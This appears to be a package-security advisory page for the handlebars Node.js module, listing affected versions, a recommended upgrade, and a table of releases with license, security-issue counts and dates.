Affected versions: ["1.0.6", "1.0.6-2", "1.0.7", "1.0.8", "1.0.9", "1.0.10", "1.0.11", "1.0.12", "1.1.0", "1.1.1", "1.1.2", "1.2.0", "1.2.1", "1.3.0", "2.0.0-alpha.1", "2.0.0-alpha.2", "2.0.0-alpha.3", "2.0.0-alpha.4", "2.0.0-beta.1", "2.0.0", "3.0.0", "3.0.1", "3.0.2", "3.0.3", "4.0.0", "4.0.1", "4.0.2", "4.0.3", "4.0.4", "4.0.5", "4.0.6", "4.0.7", "4.0.8", "4.0.9", "4.0.10", "4.0.11", "1.0.2-beta", "1.0.4-beta", "1.0.5-beta", "4.0.12", "3.0.4", "3.0.5", "3.0.6", "4.1.0", "4.0.13", "4.1.1", "4.1.2", "4.0.14", "3.0.7", "4.1.2-0", "4.2.0", "4.2.1", "4.3.0", "4.3.1", "4.3.2", "4.3.3", "4.3.4", "4.4.0", "4.4.1", "4.3.5", "4.2.2", "4.4.2", "4.4.3", "4.4.4", "4.4.5", "4.5.0", "4.5.1", "4.5.2", "4.5.3", "3.0.8", "NodeJS/handlebars/1.0.10", "NodeJS/handlebars/1.0.12", "NodeJS/handlebars/1.3.0", "NodeJS/handlebars/2.0.0-alpha.3", "NodeJS/handlebars/2.0.0-alpha.4", "NodeJS/handlebars/2.0.0", "NodeJS/handlebars/3.0.1", "NodeJS/handlebars/3.0.3", "NodeJS/handlebars/4.0.3", "NodeJS/handlebars/4.0.4", "NodeJS/handlebars/4.0.5", "NodeJS/handlebars/4.0.9", "NodeJS/handlebars/4.0.10", "NodeJS/handlebars/1.0.5-beta", "NodeJS/handlebars/4.0.12", "NodeJS/handlebars/3.0.4", "NodeJS/handlebars/3.0.6", "NodeJS/handlebars/4.1.0", "NodeJS/handlebars/4.0.13", "NodeJS/handlebars/4.1.1", "NodeJS/handlebars/3.0.7", "NodeJS/handlebars/4.2.0", "NodeJS/handlebars/4.3.0", "NodeJS/handlebars/4.3.4", "NodeJS/handlebars/4.4.0", "NodeJS/handlebars/4.3.5", "NodeJS/handlebars/4.2.2", "NodeJS/handlebars/4.4.2", "NodeJS/handlebars/4.4.3", "NodeJS/handlebars/4.4.4", "NodeJS/handlebars/4.5.0", "NodeJS/handlebars/4.5.1", "NodeJS/handlebars/4.5.2", "NodeJS/handlebars/4.5.3", "NodeJS/handlebars/1.0.6", "NodeJS/handlebars/1.0.6-2", "NodeJS/handlebars/1.0.7", "NodeJS/handlebars/1.0.8", "NodeJS/handlebars/1.0.9", "NodeJS/handlebars/1.0.11", "NodeJS/handlebars/1.1.0", "NodeJS/handlebars/1.1.1", "NodeJS/handlebars/1.1.2", "NodeJS/handlebars/1.2.0", "NodeJS/handlebars/1.2.1", "NodeJS/handlebars/2.0.0-alpha.1", "NodeJS/handlebars/2.0.0-alpha.2", "NodeJS/handlebars/2.0.0-beta.1", "NodeJS/handlebars/3.0.0", "NodeJS/handlebars/3.0.2", "NodeJS/handlebars/4.0.0", "NodeJS/handlebars/4.0.1", "NodeJS/handlebars/4.0.2", "NodeJS/handlebars/4.0.6", "NodeJS/handlebars/4.0.7", "NodeJS/handlebars/4.0.8", "NodeJS/handlebars/4.0.11", "NodeJS/handlebars/1.0.2-beta", "NodeJS/handlebars/1.0.4-beta", "NodeJS/handlebars/3.0.5", "NodeJS/handlebars/4.1.2", "NodeJS/handlebars/4.0.14", "NodeJS/handlebars/4.1.2-0", "NodeJS/handlebars/4.2.1", "NodeJS/handlebars/4.3.1", "NodeJS/handlebars/4.3.2", "NodeJS/handlebars/4.3.3", "NodeJS/handlebars/4.4.1", "NodeJS/handlebars/4.4.5", "NodeJS/handlebars/3.0.8"]
Secure versions: [4.7.9]
Recommendation: Update handlebars module to version >=4.6.0

81 Other Versions

Version License Security Released
4.7.9 MIT 2026-03-26 - 20:46 15 days
4.7.8 MIT 8 2023-08-01 - 21:19 over 2 years
4.7.7 MIT 8 2021-02-15 - 09:39 about 5 years
4.7.6 MIT 10 2020-04-03 - 17:59 about 6 years
4.7.5 MIT 10 2020-04-02 - 19:10 about 6 years
4.7.4 MIT 10 2020-04-01 - 17:21 about 6 years
4.7.3 MIT 10 2020-02-05 - 05:11 about 6 years
4.7.2 MIT 10 2020-01-13 - 20:53 about 6 years
4.7.1 MIT 10 2020-01-12 - 12:21 about 6 years
4.7.0 MIT 10 2020-01-10 - 16:24 about 6 years
4.6.0 MIT 10 2020-01-08 - 22:45 over 6 years
4.5.3 MIT 10 2019-11-18 - 07:11 over 6 years
4.5.2 MIT 13 2019-11-13 - 21:08 over 6 years
4.5.1 MIT 14 2019-10-29 - 04:42 over 6 years
4.5.0 MIT 14 2019-10-28 - 18:48 over 6 years
4.4.5 MIT 14 2019-10-20 - 21:08 over 6 years
4.4.4 MIT 16 2019-10-20 - 19:35 over 6 years
4.4.3 MIT 16 2019-10-08 - 20:06 over 6 years
4.4.2 MIT 16 2019-10-02 - 20:47 over 6 years
4.4.1 MIT 16 2019-10-02 - 19:53 over 6 years
4.4.0 MIT 16 2019-09-29 - 13:30 over 6 years
4.3.5 MIT 16 2019-10-02 - 20:06 over 6 years
4.3.4 MIT 16 2019-09-28 - 11:37 over 6 years
4.3.3 MIT 16 2019-09-27 - 05:47 over 6 years
4.3.2 MIT 16 2019-09-26 - 21:59 over 6 years
4.3.1 MIT 16 2019-09-24 - 22:35 over 6 years
4.3.0 MIT 16 2019-09-24 - 06:11 over 6 years
4.2.2 MIT 17 2019-10-02 - 20:13 over 6 years
4.2.1 MIT 17 2019-09-20 - 17:41 over 6 years
4.2.0 MIT 17 2019-09-03 - 19:58 over 6 years
4.1.2 MIT 17 2019-04-13 - 14:20 almost 7 years
4.1.2-0 MIT 18 2019-08-25 - 16:07 over 6 years
4.1.1 MIT 18 2019-03-16 - 21:29 about 7 years
4.1.0 MIT 18 2019-02-07 - 09:48 about 7 years
4.0.14 MIT 18 2019-04-13 - 14:39 almost 7 years
4.0.13 MIT 19 2019-02-07 - 10:28 about 7 years
4.0.12 MIT 19 2018-09-04 - 18:46 over 7 years
4.0.11 MIT 19 2017-10-17 - 20:53 over 8 years
4.0.10 MIT 19 2017-05-21 - 12:11 almost 9 years
4.0.9 MIT 19 2017-05-21 - 11:40 almost 9 years
4.0.8 MIT 19 2017-05-02 - 20:56 almost 9 years
4.0.7 MIT 19 2017-04-29 - 20:54 almost 9 years
4.0.6 MIT 19 2016-11-13 - 01:27 over 9 years
4.0.5 MIT 19 2015-11-20 - 05:07 over 10 years
4.0.4 MIT 19 2015-10-29 - 06:57 over 10 years
4.0.3 MIT 19 2015-09-24 - 03:41 over 10 years
4.0.2 MIT 19 2015-09-04 - 14:13 over 10 years
4.0.1 MIT 19 2015-09-03 - 02:21 over 10 years
4.0.0 MIT 19 2015-09-01 - 13:19 over 10 years
3.0.8 MIT 7 2020-02-23 - 10:02 about 6 years